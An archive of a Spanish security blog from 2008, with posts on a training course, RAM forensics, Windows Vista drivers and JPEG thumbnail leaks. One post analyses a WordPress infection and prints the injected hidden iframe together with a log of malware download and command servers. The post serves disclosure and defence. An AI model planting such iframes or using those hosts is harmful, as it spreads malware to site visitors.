Formación técnica en seguridad y auditoría

7 05 2008

Hola a tod@s!

Algunos de mis compis y yo, hemos decidido formar un “grupo de música”. Os cuento detalles….

 

Formación técnica en seguridad y auditor�a

 

Formación técnica en seguridad y auditoría

  • Idea: Formación en “música”
  • Tiempo: 6 semanitas o 150 horitas. Junio y Julio
  • Realización de la formación: Eminentemente práctico

 

Los temarios que se impartirán en el curso serán los siguientes:

 

Música estridente y ensordecedora

  • Partituras: Protocolos, Análisis de servidores, ataques a aplicaciones Web, Vulnerabilidades de código, vulnerabilidades en configuraciones, vulnerabilidades en S.O., spoofing en comunicaciones, sniffing de comunicaciones, ataques combinados, DOS, DDOS, ataques MITM, ataques VOIP, inyección de comunicaciones, malware en general, LDAP injection, inyecciones SQL, ataques WEP/WPA, etc, etc…
  • Instrumentos: La cabeza e instrumentos comerciales y gratuitos. (Nos reservamos demos y juguetes internos!)

Como este tipo de música puede “romper” tus oídos, hemos pensado en aderezar la “formación en música” con estos temas…

 

Prevención a la rotura de tímpano, sordera total, etc…

  • Realización de buenas partituras: VPN, sistemas de cifrado SSL, conceptos de auditoría, auditorías de caja blanca/caja negra, fuentes de información, detección de malware, fortificación de servidores, fortificación de código, análisis de seguridad server/client, herramientas de análisis de código, Firewalls de aplicación, cifrado y autenticación, IPSEC, etc, etc..
  • Instrumentos: La cabeza e instrumentación comercial y gratuita

Y si llegados a un punto, algún tipo de música ha hecho que te sangre el oído u otra enfermedad equivalente, completamos la “formación en música” con…

 

Análisis forense

  • Análisis de las notas: Captura de datos, buenas prácticas, cadena de custodia, análisis forense de Logs, análisis forense Online de Malware, análisis forense Offline de Malware, Análisis de memoria RAM, búsqueda de estructuras, análisis forense de S.O., realización de informes, etc, etc…
  • Instrumentos: La cabeza e instrumentación comercial y gratuita

 

Quienes estaremos

  • Solista: Chema Alonso: MVP Windows Server Security. Este solista está especializado en “saturar” notas musicales. Ha dado multitud de conferencias a lo largo de este país y fuera de él. Últimamente lo hemos podido ver por las conocidas conferencias de seguridad BlackHat. Lo conoceréis más en su blog http://www.elladodelmal.com
  • Bajos: Juan Luis García Rambla: MVP Windows Server Security. Sabe este hombre algo de redes y comunicaciones? Por ahí le llaman el “interceptor”. Este hombre se entretiene capturando y manipulando conversaciones y comunicaciones, modulando la voz, etc, etc.. Un excelente aliado si quieres conocer arquitectura de sistemas operativos, y todo un maestro en técnicas de auditoría forense. Tened cuidado con lo que “conversáis” si estáis cerca de él… Podéis saber más de él visitando su blog, http://legalidadinformatica.blogspot.com
  • Guitarra: Alekusu o Alejandro Martín, alias “el pensante”. Muchas veces lo veo sentado pensando cuál va a ser la próxima prueba que se va a sacar de la manga para el siguiente reto hacking, y creador de muchas de las herramientas internas de auditoría de seguridad que utilizamos.
  • Batería: Pedro Laguna, alias “La Pedra” como amistosamente le llamo yo. Se dedica principalmente a “romper de forma legal” las Webs que le vamos asignando. Así que cuidado con dejarle la vuestra.  Avisados estáis. Su blog es http://www.equilibrioinestable.com
  • Teclados: Yo, alias Juanillo, alias “el trianero”, al que si leéis lo que vomito en el blog de vez en cuando o me conocéis de alguna auditoría o alguna formación, ya sabréis algo de mí, y sí, prometo contar el verdadero chiste del pavo.

Asi que…. Te animas a tocar con nosotros?

Formación técnica en seguridad y auditoría informática

 

Saludos a tod@s!!




Malware y WordPress….

21 04 2008

Hola a tod@s!!

Hace poco me llegó un aviso de que WordPress podría tener un fallo de seguridad. Más o menos 8 o 10 horas después, me encuentro con que más de 30.000 sitios estaban afectados por esta vulnerabilidad, realizando una simple búsqueda en Google.

Hace unos 3 días, leyendo mi RSS  me encontré una entrada de Ignacio Escolar, en la que comentaba que había sido víctima de este ataque, así que me puse en contacto con él y me ofrecí a echarle un cable, ya que a mí me interesan mucho estos temas, y creo que puede ser de interés para los que leéis este blog.

Pego en este post todo lo que me he encontrado hasta ahora, por si hay algún afectado y le interesa el tema, ya que el Malware sigue activo en estos momentos.

Disclaimer: No abras el contenido de las Web que aparecen si tienes activado JavaScript

Si se aprovecha la vulnerabilidad, el exploit añade en el código fuente un Iframe que apunta a otro sitio Web, desde el que se lanzaba todo el ataque.

<!– Traffic Statistics –> <iframe src=http://61.155.8.157/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!– End Traffic Statistics –>

Este Iframe, te redirige a una Web, en la que en el código fuente hay un Javascript con el código ofuscado, el cual tenéis aquí (Guardar destino como…).

Al intentar decodificar el Javascript me aparece otro sitio Web, en este caso el siguiente:

http://www.wp-stats-php.info/iframe/good.php

Mirando por encima el contenido que suelta ese good.php, te das cuenta enseguida que se trata de un ejecutable, tal y como podéis comprobar en la siguiente imagen:

El archivo en cuestión, está empacado con UPX, famoso compresor y descompresor de ejecutables, y ampliamente utilizado por Malware.

Una vez que infecta la máquina, éste intenta descargarse varias muestras de Malware, también comprimidas con UPX. El informe completo lo tenéis en virustotal.

He realizado un análisis forense OnLine del malware en sí. Pongo aquí lo más característico.

Al ejecutar el malware en la máquina, éste intenta descargarse de Internet varias muestras. Las copias de estas muestras las aloja en streams del ejecutable Explorer.exe, el cual es legítimo de Spectra.

 Analizando el ejecutable con Process Explorer, se puede realizar una valoración de las peticiones que realiza el malware.

Se puede deducir en este caso, que el malware utiliza el equipo como un Zombie, el cual utiliza para establecer conexiones con otros blogs y direcciones de Internet, esperando ser atacadas.

El malware se descarga otro ejecutable de Internet. En este caso se descarga una aplicación de envío masivo de mails, el cual me queda por analizar, ya que utiliza SSL para el envío de éstos, y en la captura de red que he recogido todavía no me ha dado tiempo de analizar.

Para analizar el posible tráfico SSL que esté utilizando el malware a través de la inyección del Explorer.exe, utilicé las herramientas STRACE y HTTPREPLAY para analizar ese tráfico cifrado. Tenéis un excelente post de David Cervigón explicando estas herramientas. El log completo lo tenéis aquí (Guardar destino como…). 

En unos 45 minutos, el Malware me ha dejado un Log de conexiones de unos 13 MB, de los que se recoge, entre otra información, direcciones de los atacantes, las cuales son las siguientes:

BS-AR:https://www.yaho0-groups.info/base/a.php
uri: https://www.yaho0-groups.info/base/a.php
received from the base: https://61.155.8.157/test/5.php
retreive nu UID from https://61.155.8.157/test/5.php
uri: https://61.155.8.157/test/5.php
uri: https://61.155.8.157/test/5.php
*http://nil213.narod.ru/pom/pompay.jpg*
uri: http://nil213.narod.ru/pom/pompay.jpg
*http://alor686.narod.ru/fg/seh3.jpg*
uri: http://alor686.narod.ru/fg/seh3.jpg
*http://ronna58.narod.ru/anl/analyzer.jpg*
uri: http://ronna58.narod.ru/anl/analyzer.jpg
*http://folp0.narod.ru/yb/yb2.jpg*
uri: http://folp0.narod.ru/yb/yb2.jpg
*http://tri57.ingyenweb.hu/bl/bl2_5.jpg*
uri: http://tri57.ingyenweb.hu/bl/bl2_5.jpg
parB: *http://bonv3.narod.ru/cr/crawler.jpg*
uri: http://bonv3.narod.ru/cr/crawler.jpg
*http://tachell14.tripod.com/14/ggr4.jpg*
uri: http://tachell14.tripod.com/14/ggr4.jpg
*http://tenta9.narod.ru/gml/gmail3.jpg*
http://tenta9.narod.ru/gml/gmail3.jpg
*http://utenti.lycos.it/nil21/is/whois2.jpg*
uri: http://utenti.lycos.it/nil21/is/whois2.jpg
*http://minako49.tripod.com/rf/RF_DIP_1.jpg*
uri: http://minako49.tripod.com/rf/RF_DIP_1.jpg
*http://nil213.narod.ru/ext/extract5.jpg*
uri: http://nil213.narod.ru/ext/extract5.jpg
*http://donp4.narod.ru/fg/fg5.jpg*
uri: http://donp4.narod.ru/fg/fg5.jpg
https://61.155.8.157/test/5.php
master URI is http://61.155.8.157/gmail/gmail_task_1302.php
uri: https://61.155.8.157/test/5.php
master URI is http://69.93.173.58/analyzer/analyzer.php
uri: https://61.155.8.157/test/5.php
master URI is http://61.155.8.157/gmail/blogger_server_5.php
uri: https://61.155.8.157/test/5.php
master URI is http://61.155.8.157/test/5.php
uri: https://61.155.8.157/test/5.php
master URI is http://69.93.173.58/crawler/crawler.php
uri: https://61.155.8.157/test/5.php
master URI is http://69.93.173.58/whois/whois.php
uri: https://61.155.8.157/test/5.php
master URI is http://61.155.8.157/test/stask.php

Como información adicional, también se recoge información sobre los Blogs a los que ataca:

 En el Log también se recoge información sobre el método de inyección en el ejecutable Explorer.exe:

Por otro lado están las capturas de red que he realizado mientras el Malware estaba activo en la máquina, dando también bastante información sobre el Malware en sí, ya que utiliza nombres de usuario y password en claro para autenticarse en varios sitios Web, y con los que realiza comentarios (SPAM) en los que se sugiere que se descarguen cierta basura de Internet, como Ringtones, aplicaciones para jugar al Casino, etc…

El servidor, al parecer está alojado en China, según localización de dominio e IP. Podéis realizar otra comprobación en esta Web.

Con esta información, lo primero que debéis hacer es banear toda dirección IP que pueda enlazar a uno de estos ejecutables, y revisar comentarios en nuestros Blogs, ya que podemos, sin quererlo, estar propagando de alguna forma este ataque masivo.

Como nota final, comentar que si algún equipo sigue el principio del mínimo privilegio, esta infección no se provocaría en el sistema, al carecer de privilegios como inyección y alojamiento de Malware en el directorio %systemroot%.

Si alguno está afectado y necesita información, que me mande un mail y le pasaré toda la información al respecto.

1Saludo a tod@s! 




La Chunta y Vigo…

21 04 2008

Vaya semanita la de Vigo…

Qué bonita ciudad, qué bonitas calles, qué buena gente y qué buenas chiquillas! Hacía tiempo que no iba a Vigo, y he de reconocer que me lo he pasado en grande con mucha fauna que pulula por allí.

Nos hemos estado partiendo la #”..!$%% esta semanita jugando con herramientas y protocolos, hasta que uno tuvo los huevos de decir…. “Juanillo, puedes decir Xunta???”. Y yo dije…. Claro que puedo…. “Chunta!”. Y allí todos descojonándose.

La cosa se animó y otro se atrevió a decir… “Juanillo, cómo se llamaba ese tan peludo que acompañaba a Han Solo en la Guerra de las Galaxias??”… Y yo, después de pensar una micronésima de segundo (Soy fan number juan de la GDLG) digo… “Chhhubaca??”… Y otra vez… A descojonarse…

Y entonces me dí cuenta… Los mamones se estaban riendo de mi acento Trianero!! Aquello se puso como Vigo! el azote de los cárpatos…. Así que os digo ahora y públicamente… La próxima vez iré más preparado!

Señoras y señores de Vigo, tengo algunos teléfonos y todos vuestros mails… Así que no dudéis que os llamaré u os escribiré cuando pase por allí!

Me lo pasé genial!

Viva Vigo!!

 




Y todo para nada…

10 04 2008

Las líneas de negocio están para eso, para abrir negocio donde antes no lo había, o había poco. Se puede destruir empleo por un lado, pero lo que sí es seguro es que generará empleo por el otro lado.

Pero todas las líneas de negocio existentes se van a tomar por el ·@%%&&.  Porque llega el articulazo del siglo. Donde esté un ordenador barato, que se quite uno potente.

Reflexionemos un poco…

Microsoft hace sistemas operativos y sus programas cada vez más pesados, que necesitan cada vez más recursos del sistema. Así todos son felices. Microsoft vende sus sistemas operativos, sus Office, etc, y, como los computadores en un momento determinado no los corren bien, la gente migra más rápidamente a procesadores más rápidos para correr estos programas. Así viene pasando desde Windows 95.

El problema, y el fracaso de Vista, es que ahora las cosas son un poco diferentes…

Por un lado, Vista exageró demasiado en cuanto a los recursos que necesita, no pudiendo correr sino solo en los procesadores más avanzados, impidiendo de esta manera las actualizaciones de XP a Vista. Era necesario comprar una máquina nueva y costosa. Por otro lado, XP sigue siendo suficientemente bueno y no justifica comprarse un nuevo computador para poder disfrutar de Vista.

Sí, sí, sí, sí…. Spectra es malísima. Muy mala. Una cabrona vamos. Cada día hace sus programas más gordos (Creo que les dan harina y maizena), que necesitan más recursos y todos felices. Como los equipos antiguos no pueden, pues a comprar hardware nuevo.

Vista es un fracaso. Y del bueno te digo yo.

O sea, a ver si lo he entendido. Que donde esté un Windows95 o una mini-distribución de Linux, que se quiten las demás. Que donde esté mi procesador 486, que se quiten los demás. Porque todavía tengo uno en casa y le podría instalar un Windows 95. Creéis que ligaría en un bar si le digo a una chica que he instalado un Windows 95 en un 486… Y que funciona?

Me lloran los ojitos porque leo por primera vez en la ciudad de los Krispis que XP sigue siendo suficientemente bueno…. Se estarán pasando poco a poco al lado del mal?

Huelo a conspiración….

Por otro lado, dado el enorme poder de los microprocesadores de hoy, pueden aparecer computadores muy baratos (de menos de $300) y no tan potentes, pero que pueden hacer todo el trabajo cotidiano de oficina (procesador de palabras, hojas de cálculo, presentación gráfica, etc), además de navegar por Internet, correo, mensajería instantánea, etc.

Estos computadores baratos pueden trabajar bien con un sistema operativo no tan pesado como Vista. Funcionan bien con XP o Linux. Y aquí es donde está el problema de Microsoft y la industria en general.

Los computadores pobres de hoy en día pueden hacer el 99% del trabajo cotidiano de oficina y del hogar. ¿Para qué comprarse lo último?. En la mayoría de los casos no se justifica.

Entonces tenemos dos extremos. Por un lado, un computador muy sencillito pero que puede ejecutar el 99% de las cosas, y por el otro, uno muy poderoso (necesario para alimentar a Windows Vista).

En cuanto al primer párrafo no tengo problemas. Es totalmente cierto. Tengo en casa otro PC con 512 RAM y procesador de 1GB y rula con Debian y XP de maravilla. Pero sigo sin ver el problema.

Spectra tiene, para aquellos que se quieran dejar engañar, porque es muy mala, una página dedicada a esos equipitos que no llegan al mínimo para poder acostarse con Vista, y son los llamados Vista Capable.

Lo de los dos extremos me queda muy clarito.

Microsoft se ve forzado a prolongar el XP porque de no hacerlo pierde el mercado de los computadores más sencillos, mercado que crecerá mucho en los próximos años.

No hay aplicaciones que usen tanto poder proveniente de los microprocesadores de hoy. Solo Windows Vista, los juegos y el procesamiento y edición de video, pero en pocos años, todo procesador, hasta el más pobre será capaz de manejar estas cosas. Así que el extremo de computadores muy poderosos, para uso personal tenderá a morir, quedando sólo los computadores económicos de menos de $200. Nadie necesitará un procesador de 16 núcleos, porque no habrá aplicaciones que necesiten tanto poder (para uso personal).

Este inmenso poder de los procesadores del futuro sólo lo usarán los que quieran correr aplicaciones como pronóstico del clima y otras similares, pero nunca una persona en su procesador de palabras, hoja de cálculo o incluso editando video.

Una alternativa para el uso de tanto poder, que es válida incluso hoy en día (en donde un procesador con 2 núcleos de 2 Ghz es mucho más de lo que se necesita en tareas cotidianas) sería que el computador tuviera 2 ó 4 salidas de video, y sus teclados y ratones respectivos. Así un computador manejaría 4 usuarios simultáneamente.

Un computador Core Duo está el 99% del tiempo sin uso, así que con los 4 usuarios estaría de una manera muy similar, y los 4 sentirían todo el poder para cada uno de ellos como si los demás no existieran (salvo en algún que otro momento en donde habría pequeños cuellos de botella).

Si se configura Linux para manejar estos 4 usuarios simultáneamente en un computador, sería el final de Windows, porque con sólo añadirle unas cuantas tarjetas de video (con sus respectivos controladores de teclado y ratón) se abaratarían los costos del computador para las empresas, escuelas, etc: 1 computador $400 + 4 tarjetas de video sencillas $25 c/u dan un total de $500, dividido entre cuatro personas, sale a $125 por “terminal”.

Spectra es que es así. Se acojona y tiene que prolongar un producto. A mi también me lo dijo un primo de la novia de un amigo mío. Lo que no me dijo el primo de la novia de un amigo mío es que en la página de soporte de Spectra, tienes todos los datos de soporte, y de ahí es de donde se sacan los DATOS. Si quieres mirar hasta cuando vas a tener soporte (normal y extendido) te puedes pasar para recabar datos malignos. Los tienes para Windows XP e incluso para Windows Vista, así seguro que tienes datos para vaticinar el fin de Windows Vista. Pero claro, eso a una empresa se la repamplinfa. Se la suda que un Windows tenga un soporte de casi 14 AÑOS. Donde esté un Ubuntu licenciado con soporte a 3 años que se quite lo demás. Que me llega una incompatibilidad con una aplicación en mi Ubuntu? pues nada. O MIGRO a una distribución más novedosa, o tiraré de FOROS. Ya estoy viendo un problema de nivel 5 (O sea jodidísimo para la empresa), el soporte Server Ubuntu que se ha terminado (5 añitos), y el SysAdmin de la empresa poniendo todos sus recursos en un forero de 17 años. Qué hijadeputa es Spectra que te da casi 14 AÑOS para que te plantees una migración, te planta los Virtual Lab para que te vayas haciendo a la idea, los recursos para profesionales como los WebCast. Además son malísimos, porque si te has perdido uno, te los graban!

Y claro, el inmenso poder de los procesadores del futuro sólo lo usarán los que quieran correr aplicaciones como pronóstico de clima….. Y para  predecir el futuro creo…. Esto es gracioso, porque yo tengo un procesador de 1GB en casa, pero mi tía que quiere el ordenador para llevar sus tareas de costura “al día”, se fue a comprar un equipo, y de menos de dos núcleos no había nada…. Aunque claro, también se puede pasar por DELL y comprar un Ubuntu de igual precio y menores características.

Sobre los dos últimos párrafos…. No comment…. Este no sabe lo que es un AS/400, ni SAP, ni Operations Manager, ni IBM Tivoli Security Operations Manager, ni SMS, ni Dynamics

O sea, que a ver si no lo he entendido tampoco. Un equipo antiguo, pongámosle (512/256 RAM con un Pentium IV) y un cliente de correo electrónico, la consola de SAP que conecta con un servidor (Ya sabes, definido en el Saplogon.ini), la consola 5250 del AS/400, el office (Word, Excel, PPT, etc..) y accediendo en todo momento a recursos compartidos (Para tenerlo todo un pelín más seguro) va de puta madre no? Y ya no digo de puta madre (que puede ir según el caso y la metodología de trabajo de cada uno), sino que irá de puta madre repartiendo recursos en 4 pantallas tontas. Que eso de la inversión y el reciclado de equipos es una panacea y no vale para nada. Que es preferible un equipo que “gaste” 256 de RAM y los otros 256 de RAM que me sobran (si es que tiene de sobra) lo tengo “por si las moscas”. Windows Vista gasta más RAM porque el acceso a ella es MAS RÁPIDO, así deja al disco tranquilo para que nos dure más. Eso de los discos duros híbridos con una memoria de precarga es otra panacea. Otro sacaero de dinero.. Total, el acceso a disco según tú es más rápido que el acceso a RAM. Si se peta seguro que es por un “cuello de botella”.

El otro día instalé un IIS 6 en un W2k3 en un PIII con 256 de RAM, un SQL Server 2000 como motor de BBDD y que servía una pequeña Web. Según tú, si me llama el cliente, le diré que cuando el servidor deje de servir páginas con rapidez, será por un “cuello de botella”… O también le puedo decir que los cuellos de botella empiezan cuando haya más de 15 usuarios en paralelo pidiendo servicios…

Microsoft no podría competir con esto. Primero su Windows Vista está hecho para consumir muchos recursos (y producir una obsolescencia planificada de todos los computadores), no sirve para computadores económicos. Por otro lado, a Microsoft no le interesaría vender una sola licencia de XP, por ejemplo, para que 4 usuarios manejen sus “terminales”, sino más bien una licencia por cada terminal. Sin embargo, Linux, que es liviano, y puede manejar estos 4 usuarios no tiene ningún problema, y con computadores tan baratos como $125 por persona, no tiene competencia en empresas, escuelas, cybercafés, etc.

Aquí sólo te puedo decir una cosa. En la Universidad tenemos Windows NT y solaris del año de la castaña, y una de las prácticas de Redes era conectar dos Windows 98 a través de una red AdHoc… La práctica de Linux era conectar varios equipos a través de recursos compartidos por Samba. En definitiva, sales con una base cojonuda para la vida real, y los ingenieros están preparados para afrontar un nuevo reto (pasar de una práctica con un Windows98 y WinNT, a un problema en la vida real en un entorno heterogéneo Win-Linux en sus últimas versiones).

En definitiva, creo que esta nueva línea de negocio, hará por fin que el departamento HelpDesk deje de recibir llamadas del tipo “Mi ordenador va lento”, “Se me traba”, “Esto va como cámara lenta”, etc…

Y ya dejo de escribir, porque me lloran los ojitos….

En definitiva, que nos hemos equivocado, y como quiero redimirme, cuelgo aquí la fotografía que me pasó mi hermano Maligno cuando estuvimos en el Asegur@IT II que se celebró en BCN. Como diría el Trianero….

Va por ustedes…

 Fotografía del evento (Renombrar PDF por HTML si la queréis guardar de recuerdo)

1Saludo!!




Análisis memoria RAM. Búsqueda de procesos I

8 04 2008

En todo análisis forense, se debe atender a un orden de volatilidad. Los datos contenidos en la memoria RAM y el archivo de paginación están en los primeros puestos de este orden. Por esto mismo, es por lo que muchas empresas que se dedican al forense informático, en muchas de sus variantes, deciden prescindir de investigar lo que hay en RAM, para dedicarse a otra información menos volátil, como por ejemplo el contenido del disco duro. El problema viene cuando sólo tenemos como pruebas un volcado de memoria (DUMP) o un archivo de paginación (pagefile.sys).

En este artículo y en el siguiente, haré mención a las herramientas que tenemos a día de hoy para analizar un volcado de memoria RAM (DUMP).

A día de hoy, pienso que la memoria RAM es de vital importancia en una investigación, ya que entre otras cosas, podremos encontrarnos con lo siguiente:

  • Procesos en ejecución
  • Procesos en fase de terminación
  • Conexiones activas (TCP-UDP)
  • Ficheros mapeados (Drivers, Ejecutables, Ficheros)
  • Objetos en caché (HTML,JavaScript,Passwords)
  • Elementos ocultos (Rootkits)

Como en toda investigación, la información que podamos recopilar depende de muchos factores, tales como el sistema operativo, el TimeLive de la máquina y lógicamente, el tamaño de la memoria RAM. Pongamos como ejemplo a Windows Vista y Windows XP. Windows Vista maneja de forma diferente los datos en memoria RAM. Utiliza mucho el acceso a RAM, para no cargar tanto al disco duro, ya que el acceso a memoria RAM es mucho más rápido que el acceso a disco. Windows XP no carga tanto la RAM, y en cambio utiliza mucho más el archivo de paginación.

Dependiendo del sistema operativo tendremos más o menos herramientas para realizar búsquedas. En este artículo mostraré una para Windows 2000, y que se llama memparser.

Memparser es una herramienta creada a raíz de un reto forense y desarrollada por Chris Betz. Antes de desarrollar la herramienta en cuestión, tuvo que debuggear un kernel de un Windows 2000 SP4 para buscar similitudes, identificar estructuras, y analizar el código resultante del debugging.

Cada proceso en Windows 2000 es representado por un bloque ejecutivo de proceso (Executive Process). Cada bloque representa a un proceso y contiene estructuras y datos relacionados con ese objeto. En la memoria también residen los hilos que crean estos procesos (ETHREAD), tokens de acceso, Kernel Process (KPROCESS), el cual tiene información sobre el tanto por ciento del kernel utilizado por cada proceso, etc…

La herramienta en cuestión busca lo siguiente:

  • EPROCESS
  • Objetos de Kernel
  • Drivers
  • Contenido de memoria

De todas las herramientas que hay, esta es la más completa de todas, ya que podremos desde listar los procesos que hay en un volcado de memoria, hasta por ejemplo sacar el contenido de la memoria del ejecutable, y con el que podremos, por ejemplo, buscar posibles restos de malware.

En sucesivos artículos, repasaremos las diferentes opciones que tenemos para otros sistemas operativos.

Enlaces

Memparser (SourceForge)

Inside Microsoft Windows 2000 Third Edition




Esos malditos drivers…

6 04 2008

El otro día en la presentación de BCN sobre técnicas de análisis forense en memoria RAM me puteó mucho el que el driver de salida de la controladora de vídeo me diera varios petes. Gracias a dios que fue el único incidente en mi presentación, y la historia fue, cuanto menos, anecdótica. Pido perdón a los asistentes, ya que me hubiese gustado que la charla hubiese durado más de 1 hora, pero por falta de tiempo no pudimos alargarla más. Aún así espero que os haya gustado a todos los que fuisteis.

Me he empapado esta semanita sobre el tema de drivers en Windows Vista, y la cosa parece que lleva su tiempo macerando con el tema de los Windows Capable. Por lo visto Microsoft fue denunciada hace tiempo por este tema, ya que algunos componentes de hardware antiguos junto con sus drivers de los Windows Vista Capable dejan mucho de desear.

En este blog, hace más de un mes que se hicieron eco del tema, e incluso publicaron documentos oficiales del juicio contra Microsoft por el tema de la etiqueta Capable. El pdf, de 158 paginitas, lo tenéis aquí.

Microsoft se puso las pilas, y se puso a investigar qué pasaba con esos Vista Capable. Aquí lo que he encontrado en la Web.

Spectra ha mirado en Archive.org para ver la publicidad que tenian HP y DELL en el momento de publicitar la venta de sus equipos. Aquí os dejo lo que he encontrado.

http://www.microsoft.com/Presspass/presskits/vistacapable/docs/KelleyChim1-2.pdf

http://www.microsoft.com/Presspass/presskits/vistacapable/docs/KelleyRiquelmy3-4.pdf

http://www.microsoft.com/Presspass/presskits/vistacapable/docs/Kelley_Dell_Riquelmy_declaration11_07.pdf

http://www.microsoft.com/Presspass/presskits/vistacapable/docs/KelleyRiquelmy6.pdf

http://www.microsoft.com/Presspass/presskits/vistacapable/docs/Kelley_motiontostay3_7_08.pdf

En Justia.com también se encuentran algunos documentos más

http://www.justia.com/search.py?cx=001017683474852908061%3Aoct7h3tcday&q=+Case+2%3A07-cv-00475-MJP+&cof=FORID%3A11

El documento anterior (158 páginas), me lo leí hace un par de días y debo de reconocer que el proceso ha sido lamentable, por parte de todos. Sólo cuando hacen un “forense” de varias baterías de Windows Vista, uno se da cuenta de la inestabilidad de algunos drivers para la plataforma Vista, y de ahí los cuelgues, pantallazos y demás. En el documento podréis ver que casi un 30% de los cuelgues de Vista son provocados por drivers Nvidia, y en mi caso, en un 8 y pico %, los cuelgues derivados de Intel.

Ahora expongo mis quejas.

Me parece cojonudo que al hardware “antiguo” se le quiera dar salida. Hoy en día tanto el soft como el hard va muy rápido, pero por el contrario, hay cosas que no van tan rápido, como los procesadores por ejemplo, ni el esperado paso a 64 bits en plataformas de cliente, algo que está dando muchos quebraderos de cabeza a muchos usuarios, debido a que en comparación con la arquitectura de 32 bits, no hay software suficiente para satisfacer las necesidades de los usuarios. Y de los drivers de 64 bits ni hablamos ya. Al fabricante no le interesa de momento el mercado cliente de 64 bits, ya que para la plataforma Microsoft, todos los drivers de 64 bits necesitan estar certificados bajo la WHQL, y al fabricante no le interesa ponerse a picar código ni  a pagar un certificado WHQL que certifique que ese driver funciona a la perfección en el sistema operativo. El problema es cuando se le quiere dar salida al hardware “antiguo” con soft que no está diseñado para soportar un driver antiguo. Y creo que ahí radica uno de los fallos de Spectra. El de dar soporte a drivers de dudosa calidad. Pero ahí entra en juego una cuestión. La de que hay que tener contento a todo el mundo. Y yo creo que a estas alturas, deberemos saber que a todo el mundo no se le puede tener contento.

Un problema de Windows Vista, a mi parecer, radica en que al dejarse “querer” por todos, se puede convertir en la facilona de la clase, como ya le pasó a XP en muchos aspectos. El problema es que el usuario sólo ve lo que tiene delante, o sea, a su Windows. Lo que no se le pasará por la cabeza es que posiblemente la culpa de su mal de amores sea algún componente (driver) interno.

Obviamente, la compatibilidad hacia atrás debe existir, pero con unos límites. Esos límites los tendremos que poner nosotros, porque este tipo de aplicaciones y drivers, siempre existirán. y Spectra debería de ponerse las pilas con los drivers que no cumplen con lo mínimo.

Recomiendo leer el blog de Rfog, que a nivel de arquitectura de sistemas sabe muchísimo, y de vez en cuando sorprende con un post sobre arquitectura. Sus post sobre el análisis que hace sobre los libros que lee y la tecnología que utiliza para leerlos, son buenísimos también. Su blog en Geeks es muy recomendable si queréis conocer sobre tecnología .NET y otras cosillas!

Eso es todo chic@s!

1Saludo!




april fool’s day

2 04 2008



Como cagarla en una página Web. By Maligno

22 02 2008

————————————Artículos anteriores ————————————————

http://windowstips.wordpress.com/2008/02/13/analisis-de-memoria-ram-recogida-de-evidencias/

http://windowstips.wordpress.com/2008/02/14/analisis-de-memoria-ram-metodos-de-recoleccion-alternativos/

http://windowstips.wordpress.com/2008/02/18/analisis-de-memoria-ram-verificando-la-integridad/

http://windowstips.wordpress.com/2008/02/19/analisis-de-memoria-ram-un-caso-extrano/

 ————————————————————————————————————-

Hola a tod@s!

Preparando el evento del día 3 de Abril del nuevo AseguraIT, la parte que me corresponde es la de análisis forense. Voy a hacer especial hincapié en la recogida y análisis de evidencias, en especial la memoria RAM, junto con las posiblidades que tiene. Si tenemos tiempo también vamos a meter algo sobre forense de imágenes, nuevas técnicas y herramientas interesantes. Como ya sabéis que el Maligno se mete-autoinvita en todos los fregados, me ha mandado un bonito post sobre cómo cagarla en una Web (Se ve que palako y el Maligno se lo pasan cojonudamente in London…), así que os la reproduzco palabra a palabra.

Nota: Ni de coña yo hablo como reproduce el Maligno…. Lo que pasa es que los cabrones estos no saben escuchar a los Trianeros profundos….

Como cagarla en una página Web

A mí, que me gustan las cosas raras como el erotismo entre especies, la compartición de alimentos en una única taza o el retro-placer, me vienen bien las páginas de contactos sexuales. Son sitios en los que se puede conocer a gente de todo tipo, tamaño, color y sabor… con gusto aun más divertidos que los mios.

Vale, una vez acabada la intro de este post, si habéis tenido la mala idea de seguir los links os doy unos minutos para beber algo fresquito y continuar leyendo tras haber reciclado la última comida que halláis digerido.

[wait for ’00:03:00’]

Bien, como iba diciendo, a mí, que me van los rollos raros, me cuesta conseguir este tipo de cosas (yo creo que es porque soy informático, no porque los vicios sean raros…). El caso es que me había creado un anuncio en el que se ofrecía “Maligno Macho Bravío Español”, como en la foto siguiente:

Sí, como notaréis en ella, he quitado ciertas partes cruciales de la foto para no poder ser reconocido. Así que la puse en el anuncio [No os digo la página que algunos de vosotros sois capaces de pedirme rollito porno…]. 

El asunto es que el otro día, el amigo Silverhack me dijo con su peculiar acento madrileño “illo, peroquehazez!! ¡Qué te van a ver toda la pilililla….ideputa!!”

“Comor?”

“Puez ezo dezgraziaaaaao, que te van a ver de color tienes los calandrios!”.

Así que me contó cómo es la demo que está preparando para el próximo evento de AseguraIT que va a ser el día 3 de Abril en Barcelona.

Las fotos JPEG, dentro de la información que se almacena, tienen la posibilidad de guardar un thumbnail. Esta imagen en miniatura se utiliza para poder procesar rápidamente ciertas aplicaciones gráficas. Cuando tú utilizas una herramienta de edición gráfica el mismo programa gestiona el thumbnail que se crea. Si después manipulas la foto con un programa que no modifica el thumbnail, resulta que has publicado una foto modificada con el thumbnail de la foto original. Con un sencillo programa como jhead alguien puede extraer el thumnail de la foto con un sencillo comando: jhead –st thumbnail.jpg foto.jpg.

Existen multitud de programas para extraer información EXIF y con las que podremos realizar numerosas tareas. Otra de estas herramientas, que curiosamente no está diseñada como aplicación forense, pero que tiene una especial relevancia en temas de fotografías digitales, son las herramientas de ExifUtils.  

ExifUtils

Para preparar un entorno con esto:

1.- Abre una foto con el photoshop o cualquier otra herramienta que genere el thumbnail.

2.- Después recórtala con el MSPaint, por ejemplo, y guarda la foto.

3.- Si sacas el thumbnail de la foto modificada aparecerá el thumbnail de la foto original sin modificar… ¿Sencillo, no?

¿Qué se vería en mi foto original?

Bueno, supongo que ninguno de vosotros tendrá fotos de estas por ahí como yo, ¿no?

Saludos malignos!




Análisis de memoria RAM. Un Caso extraño

19 02 2008

En el artículo anterior, estuvimos viendo la recogida de información de la memoria RAM haciendo uso de los objetos del sistema operativo. En este artículo veremos la recogida de información desde otra perspectiva.

En ocasiones, y tras un ataque exitoso, un sistema puede presentar algo de inestabilidad, posiblemente debido a la eliminación de ficheros esenciales de sistema, instalación de aplicaciones no compatibles con el sistema, parcheo de estructuras del Kernel, etc.. Cuando un sistema presenta este cuadro de síntomas, no es de extrañar que el sistema presente un BSOD, indicando que algo está fallando, y es entonces cuando nos tenemos que preguntar: apagamos el equipo? Reiniciamos el equipo?

